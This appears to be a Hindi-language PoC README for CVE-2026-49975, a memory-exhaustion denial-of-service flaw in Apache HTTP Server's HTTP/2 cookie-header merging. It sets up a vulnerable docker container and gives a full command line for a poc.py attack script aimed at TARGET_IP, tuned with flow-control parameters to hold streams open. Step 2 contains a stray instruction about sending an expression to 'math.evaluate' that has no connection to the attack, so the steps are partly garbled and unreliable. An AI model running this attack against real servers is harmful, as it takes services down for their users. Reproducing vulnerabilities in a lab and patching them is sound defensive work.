CVE-2026-49975 HTTP/2 बम

★ CVE-2026-49975 HTTP/2 बम PoC ★

अवलोकन

CVE-2026-49975 Apache HTTP Server में एक सेवा अस्वीकार (DoS) कमजोरी है। यह कमजोरी HTTP/2 अनुरोध प्रबंधन पथ में होती है, जहाँ एकाधिक cookie हेडर फ़ील्ड को LimitRequestFields के विरुद्ध उचित रूप से गिने बिना विलय किया जा सकता है। एक छोटा HPACK-एन्कोडेड HTTP/2 अनुरोध भेजकर जो कई cookie हेडर फ़ील्ड में विस्तारित होता है, एक हमलावर सर्वर को कुकी हेडर विलय के दौरान बार-बार मेमोरी आवंटित करने के लिए मजबूर कर सकता है। इसके बाद हमलावर HTTP/2 प्रवाह नियंत्रण का उपयोग करके प्रतिक्रिया संचरण में देरी कर सकता है, प्रभावित स्ट्रीम को खुला रख सकता है और आवंटित मेमोरी को जारी होने से रोक सकता है।

प्रभावित संस्करण

श्रेणी	संस्करण
कमजोर	Apache HTTP Server 2.4.17 ≤ version ≤ 2.4.67
पैच किया गया	Apache HTTP Server 2.4.68 या बाद का

प्रभाव

दूरस्थ सेवा अस्वीकार (DoS)
अत्यधिक मेमोरी खपत
सामान्य उपयोगकर्ता अनुरोधों का विलंबित या असफल प्रसंस्करण

वातावरण

कमजोर Apache HTTP Server वातावरण बनाएँ और चलाएँ।

docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

PoC

कमजोर वातावरण शुरू करने के बाद, हमले को पुन: उत्पन्न करने के लिए नीचे दिए गए चरणों का पालन करें।

चरण 1. सर्वर मेमोरी उपयोग की निगरानी करें

docker stats cve-2026-49975

उदाहरण आउटपुट:

CONTAINER ID   NAME             CPU %   MEM USAGE / LIMIT     MEM %
xxxxxxxxxxxx   cve-2026-49975   0.5%    35.2MiB / 8.0GiB      1.7%

चरण 2. HTTP/2 बम PoC चलाएँ

निम्नलिखित अभिव्यक्ति को math.evaluate में भेजें (जैसे, एप्लिकेशन के गणना इनपुट के माध्यम से)।

python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

चरण 3. परिणाम की पुष्टि करें

जाँच करें कि Apache कंटेनर की मेमोरी उपयोग बढ़ती है और हमले की स्ट्रीम खुली रखे जाने पर उच्च बनी रहती है।

शमन

Apache HTTP Server को 2.4.68 या बाद के संस्करण में अपग्रेड करें
यदि सेवा को इसकी आवश्यकता नहीं है, तो HTTP/2 को अस्थायी रूप से अक्षम करने पर विचार करें

CVE-2026-49975

सबसे लोकप्रिय